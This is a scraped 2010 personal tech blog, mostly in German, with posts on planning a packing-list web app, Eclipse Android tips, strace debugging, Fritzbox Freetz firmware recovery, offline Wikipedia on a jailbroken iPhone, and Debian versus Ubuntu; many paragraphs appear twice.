Allerdings will ich weder Android noch iPhone bevorzugen. Dafür gibt es Webapps. Diese können heute dank HTML5 auch offline-fähig sein. Und zum Bereitstellen für den Android oder iPhone Store kann man apparat.io oder thephonegap verwenden. Wenn man das überhaupt will, da beide derzeit Eintrittsgebühren verlangen. Vielleicht ist der Cydia Appstore besser.
Welches Framework für Web?
Zur Zeit gibt es für mobile App Entwicklung 2 große Frameworks, JQTouch von Sencha Labs und Jquery Mobile, die sich vor allem in der Lizenz unterscheiden. JQTouch bietet nur die GPL und JQuery Mobile auch alternative Lizenzen. Meine Wahl: JQuery Mobile.
Gibt es überhaupt einen Markt für eine Packliste Applikation?
Eine kleine Erkundungstour über Google Trends zeigt, dass das Suchvolumen nach Packliste sehr gering ist. Das englische "packing list" wird 10 mal häufiger gesucht. Vielleicht eine bessere Wahl als Titel?
Was bietet die Konkurrenz?
Selbst bei kostenlosen Apps will ich mir die Konkurrenz anschauen um nicht unnötigerweise Dinge zu duplizieren.
Für iPhone ist die Mammut Packing List sehr beliebt
http://www.mammut.ch/en/packinglist.html
Für Web-Anhänger gibt es eine universal packing list, die allerdings ein etwas betagtes Design hat:
http://upl.codeq.info
Und dann hat sich noch jemand an ein modernes webbasiertes Packlistenmanagement gewagt, allerdings sind dort bisher keine Inhalte hinterlegt.
http://www.packliste.org/
Ich denke da ist noch Platz für eine benutzerfreundliche, intelligente Packliste.
Web oder Nativ?
Wie programmiert man heute Apps? In Java für Android oder in Objective-C fürs iPhone? Ich habe mir beides angesehen und eine Java-Android Applikation für meine Packliste geschrieben.
Allerdings will ich weder Android noch iPhone bevorzugen. Dafür gibt es Webapps. Diese können heute dank HTML5 auch offline-fähig sein. Und zum Bereitstellen für den Android oder iPhone Store kann man apparat.io oder thephonegap verwenden. Wenn man das überhaupt will, da beide derzeit Eintrittsgebühren verlangen. Vielleicht ist der Cydia Appstore besser.
Welches Framework für Web?
Zur Zeit gibt es für mobile App Entwicklung 2 große Frameworks, JQTouch von Sencha Labs und Jquery Mobile, die sich vor allem in der Lizenz unterscheiden. JQTouch bietet nur die GPL und JQuery Mobile auch alternative Lizenzen. Meine Wahl: JQuery Mobile.
Gibt es überhaupt einen Markt für eine Packliste Applikation?
Eine kleine Erkundungstour über Google Trends zeigt, dass das Suchvolumen nach Packliste sehr gering ist. Das englische "packing list" wird 10 mal häufiger gesucht. Vielleicht eine bessere Wahl als Titel?
Was bietet die Konkurrenz?
Selbst bei kostenlosen Apps will ich mir die Konkurrenz anschauen um nicht unnötigerweise Dinge zu duplizieren.
Für iPhone ist die Mammut Packing List sehr beliebt
http://www.mammut.ch/en/packinglist.html
Für Web-Anhänger gibt es eine universal packing list, die allerdings ein etwas betagtes Design hat:
http://upl.codeq.info
Und dann hat sich noch jemand an ein modernes webbasiertes Packlistenmanagement gewagt, allerdings sind dort bisher keine Inhalte hinterlegt.
http://www.packliste.org/
Ich denke da ist noch Platz für eine benutzerfreundliche, intelligente Packliste.
Sunday, November 7, 2010
Eclipse Tips For Android Programming
A small collection of Eclipse Android tips I found for little problems before Google Dev Day 2010 PreHackathon
Eclipse is quite slow in the default configuration. Quick tip:
edit (your eclipse dir)/opt/eclipse/Eclipse.app/Contents/MacOS/eclipse.ini
change
-Dosgi.requiredJavaVersion=1.5
into
-Dosgi.requiredJavaVersion=1.6
http://www.inteism.com/2010/05/how-to-speed-up-eclipse-on-os-x-10-6-snow-leopard/
Eclipse is quite slow in the default configuration. Quick tip:
edit (your eclipse dir)/opt/eclipse/Eclipse.app/Contents/MacOS/eclipse.ini
change
-Dosgi.requiredJavaVersion=1.5
into
-Dosgi.requiredJavaVersion=1.6
http://www.inteism.com/2010/05/how-to-speed-up-eclipse-on-os-x-10-6-snow-leopard/
Eclipse Android creates the R.class file on its own. You can remove it or use Menu - Project - Clean and it will be recreated. Good idea to do this from time to time.
http://stackoverflow.com/questions/3796490/error-unable-to-open-class-file-r-java
If you get Android Packaging Problem also use Menu - Project - Clean
Make sure you have the project selected when running build all, and not some resource
http://soft-dev-pro.blogspot.com/2010/03/android-mainoutxml-error.html
Make sure you create resources before using them or you will get Error: No resource found that matches the given name
http://brainflush.wordpress.com/2009/03/15/understanding-android-themes-and-styles/
AndroidManifest Activity Name should always be kept in sync with the classname:
http://stackoverflow.com/questions/3361896/runtime-exception-in-android-junit-testing
Make sure you create resources before using them or you will get Error: No resource found that matches the given name
http://brainflush.wordpress.com/2009/03/15/understanding-android-themes-and-styles/
AndroidManifest Activity Name should always be kept in sync with the classname:
http://stackoverflow.com/questions/3361896/runtime-exception-in-android-junit-testing
Saturday, November 6, 2010
UNIX: Fehler finden mit Strace
Oft reicht die Fehlersuche über Logmeldungen nicht aus, um einen Fehler zu beheben. Dann ist ein kontrolliertes Ausführen des Programms in einem Debugger erforderlich. Dafür sind debug-Symbole nötig, und meist ein Neubau erforderlich.
Ohne debug-Symbole können allerdings auch schon nützliche Informationen mit "strace" gewonnen werden. Das Programm zeigt alle "System Calls" einer Applikation auf. Meist ist dann im Fehlerfall schon zu erkennen, welche Datei geöffnet wird oder wo genau der Fehler tatsächlich entsteht.
Natürlich muss ein Daemon vorher im Vordergrund ausgeführt werden, um die strace Befehle zu sehen. Konkret habe ich das verwendet um PPTPd in Freetz zu debuggen, siehe Dokumentation im Freetz-Wiki.
Einfaches Beispiel der Strace-Verwendung:
Ohne debug-Symbole können allerdings auch schon nützliche Informationen mit "strace" gewonnen werden. Das Programm zeigt alle "System Calls" einer Applikation auf. Meist ist dann im Fehlerfall schon zu erkennen, welche Datei geöffnet wird oder wo genau der Fehler tatsächlich entsteht.
Natürlich muss ein Daemon vorher im Vordergrund ausgeführt werden, um die strace Befehle zu sehen. Konkret habe ich das verwendet um PPTPd in Freetz zu debuggen, siehe Dokumentation im Freetz-Wiki.
Einfaches Beispiel der Strace-Verwendung:
# strace echo 3
execve("/bin/echo", ["echo", "3"], [/* 15 vars */]) = 0
brk(0) = 0x1ec03000
uname({sys="Linux", node="unknown-namer", ...}) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aeadb3aa000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=42988, ...}) = 0
mmap(NULL, 42988, PROT_READ, MAP_PRIVATE, 3, 0) = 0x2aeadb3ac000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\355\1\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1432968, ...}) = 0
mmap(NULL, 3541032, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x2aeadb5ac000
mprotect(0x2aeadb704000, 2093056, PROT_NONE) = 0
mmap(0x2aeadb903000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157000) = 0x2aeadb903000
mmap(0x2aeadb908000, 18472, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2aeadb908000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aeadb90d000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aeadb90e000
arch_prctl(ARCH_SET_FS, 0x2aeadb90db20) = 0
open("/dev/urandom", O_RDONLY) = 3
read(3, "(\333\372\211\343\357\201", 7) = 7
close(3) = 0
mprotect(0x2aeadb903000, 16384, PROT_READ) = 0
mprotect(0x2aeadb5a9000, 4096, PROT_READ) = 0
munmap(0x2aeadb3ac000, 42988) = 0
brk(0) = 0x1ec03000
brk(0x1ec24000) = 0x1ec24000
open("/usr/lib/locale/locale-archive", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=3927616, ...}) = 0
mmap(NULL, 3927616, PROT_READ, MAP_PRIVATE, 3, 0) = 0x2aeadb90f000
close(3) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aeadbcce000
write(1, "3\n", 23
) = 2
close(1) = 0
munmap(0x2aeadbcce000, 4096) = 0
close(2) = 0
exit_group(0) = ?
Tuesday, November 2, 2010
Fritzbox Rettungsupdate Freetz Recover mit Push_Firmware
Über einen kleinen eingebauten FTP-Server, der nur beim Booten aktiv ist, kann man auch die Fritzbox Firmware updaten:
# ./tools/push_firmware images/neues_firmware.image
(box neustarten)
Dabei gingen meine Firmware-Einstellungen nicht verloren.
Auf Mac OS X funktionierte bei mir nur ncftp zum kopieren und ich musste im Skript auch noch einige Änderungen bei uname und mktemp vornehmen, weil die BSD-Apps vom Mac hier strikter sind.
Ich verwende gerne die neueste Version des Fritzbox-Mods Freetz, den so genannten SVN Trunk. Die Bleeding-Edge Version wird laufend aktualisiert und enthält stundenaktuelle Neuerungen, ist deshalb allerdings auch extrem instabil.
Zum Beispiel im Changeset 6093 wurde ein Bug aus 6078 vorerst revertet. Ich habe allerdings dazwischen eine neue Firmware gebaut und eingespielt - danach startete die Box nicht mehr neu. Ein Recover half mir wieder ins Internet.
# ./tools/push_firmware images/neues_firmware.image
(box neustarten)
Dabei gingen meine Firmware-Einstellungen nicht verloren.
Auf Mac OS X funktionierte bei mir nur ncftp zum kopieren und ich musste im Skript auch noch einige Änderungen bei uname und mktemp vornehmen, weil die BSD-Apps vom Mac hier strikter sind.
Ich verwende gerne die neueste Version des Fritzbox-Mods Freetz, den so genannten SVN Trunk. Die Bleeding-Edge Version wird laufend aktualisiert und enthält stundenaktuelle Neuerungen, ist deshalb allerdings auch extrem instabil.
Zum Beispiel im Changeset 6093 wurde ein Bug aus 6078 vorerst revertet. Ich habe allerdings dazwischen eine neue Firmware gebaut und eingespielt - danach startete die Box nicht mehr neu. Ein Recover half mir wieder ins Internet.
Saturday, October 23, 2010
Wiki2Touch: Howto offline Wikipedia auf dem iPhone OS 4.X
Das beste Feature der iPhone/iTouch Reihe überhaupt meiner Meinung. Wichtige geschichtliche, technische oder kulturelle Fragen können ohne Internetzugang beantwortet werden. Anlässlich meines Updates auf iOS 4.1 schreibe ich ein kleines HOWTO dazu.
Installiert werden muss ein kleiner Server und die Wikipedia Daten.
1. Software auf dem iPhone installieren
# apt-get install com.jmaille.sbswiki2touch sbsettings coreutils
Hinweis: um "apt-get" verwenden zu können, muss in Cydia APT 0.7 Strict installiert worden sein
Hinweis: um "apt-get" verwenden zu können, muss in Cydia APT 0.7 Strict installiert worden sein
SBSettings erlaubt das schnelle aktivieren des Servers. Auf SBSettings kann man mit einem Wisch des Fingers über die Leiste oben zugreifen.
2. Wikipedia Dumps
Nun müssen noch die Wikipedia Dumps auf das Device geladen werden. Norbert stellt diese kostenlos bereit [1]. Danke! Die Dateien müssen nach /User/Media/Wikipedia/de auf dem iDevice als images_de.bin und articles_de.bin. Bei mir funktionierten nur die 120px Bilder.
![]() |
| Zum Kopieren nutze ich den kostenlosen iPhone Explorer [2] |
3. Webclip Icon für Wiki2Touch erzeugen, danke an Lucas [3]
Nachdem Wiki2Touch mit SBSettings aktiviert ist, kann man über http://localhost:8080 auf Wiki2Touch zugreifen. Um das ganze etwas komfortabler zu machen, gibt es das Webclip - ein Lesezeichen, das wie ein App-Icon aussieht.
- gehe im MobileSafari auf http://localhost:8080
- drücke auf das (+) unten in der Mitte
- wähle "Zum Home-Bildschirm"
Und ein schönes Wiki2Touch-Icon taucht auf in der iPhone App-Liste auf :-)
4. Wikipedia geniessen. Und so sieht das aus:
4. Wikipedia geniessen. Und so sieht das aus:
Für Wiki2Touch gibt es regelmässig neue Dumps. Die aktuelle Entwicklung kann man im Apfeltalk Forum verfolgen [4].
Repair Cydia crash with apt-get for iPhone OS 4.1
iPhone 4.1 Cydia crashed on me because the Pwnagetool 4.1.2 jailbreak in expert mode installed outdated packages and missed some dependencies. To fix this I used the installed SSH connection to the iPhone to repair and update packages:
# apt-get update
# apt-get -f install
# apt-get dist-upgrade
# apt-get update
# apt-get -f install
# apt-get dist-upgrade
Friday, October 22, 2010
Debian vs. Ubuntu für Server
Ubuntu und Debian benutzen das gleiche Paketformat. Allerdings bieten beide unterschiedliche Versionen an. Debian hat ein sehr unregelmäßiges stable-release weshalb oft ungetestete Pakete in einem System zu finden sind. Ubuntu dagegen macht regelmäßige Releases um Neuerungen anzubieten. [1]
Auf einem Server ist es nicht nötig, immer die neueste Version zu haben. Viel wichtiger ist es, die neueste Version der eingesetzten Serveranwendungen zu haben. Und diese neuesten Versionen werden meist von der Community bereit gestellt. Die Installation und der Betrieb dieser Anwednungen brauchen am meisten Zeit. Dabei helfen Installationsanleitungen, HowTos, Pakete, Foren, Blogs und andere Informationen, die meist von der Community bereitgestellt werden.
Wie lässt sich die beste Community finden? Die Qualität der Community ist schwer zu messen. Allerdings ist die Quantität durch Google Trends abschätzbar [2]. Der Suchbegriff "Ubuntu" überholte die anderen Distributionen in 2006. In 2010 suchen in etwa 10 mal so viele Leute nach Ubuntu wie nach Debian. Auch bei Distrowatch ist Ubuntu schon seit mehr als einem Jahr führend bei den Zugriffszahlen [3]. Laut diesen Zahlen ist Ubuntu zu empfehlen, wenn zahlreiche Community-Informationen benötigt werden.
[1] http://itmanagement.earthweb.com/osrc/article.php/12068_3890111_3/Debian-vs-Ubuntu-Contrasting-Philosophies.htm
[2] http://www.google.de/trends?q=ubuntu,debian,fedora,suse,redhat,rpm,deb&ctab=0&geo=all&date=all&sort=0
[3] http://distrowatch.com/stats.php?section=popularity
Auf einem Server ist es nicht nötig, immer die neueste Version zu haben. Viel wichtiger ist es, die neueste Version der eingesetzten Serveranwendungen zu haben. Und diese neuesten Versionen werden meist von der Community bereit gestellt. Die Installation und der Betrieb dieser Anwednungen brauchen am meisten Zeit. Dabei helfen Installationsanleitungen, HowTos, Pakete, Foren, Blogs und andere Informationen, die meist von der Community bereitgestellt werden.
Wie lässt sich die beste Community finden? Die Qualität der Community ist schwer zu messen. Allerdings ist die Quantität durch Google Trends abschätzbar [2]. Der Suchbegriff "Ubuntu" überholte die anderen Distributionen in 2006. In 2010 suchen in etwa 10 mal so viele Leute nach Ubuntu wie nach Debian. Auch bei Distrowatch ist Ubuntu schon seit mehr als einem Jahr führend bei den Zugriffszahlen [3]. Laut diesen Zahlen ist Ubuntu zu empfehlen, wenn zahlreiche Community-Informationen benötigt werden.
[1] http://itmanagement.earthweb.com/osrc/article.php/12068_3890111_3/Debian-vs-Ubuntu-Contrasting-Philosophies.htm
[2] http://www.google.de/trends?q=ubuntu,debian,fedora,suse,redhat,rpm,deb&ctab=0&geo=all&date=all&sort=0
[3] http://distrowatch.com/stats.php?section=popularity
Subscribe to:
Posts (Atom)







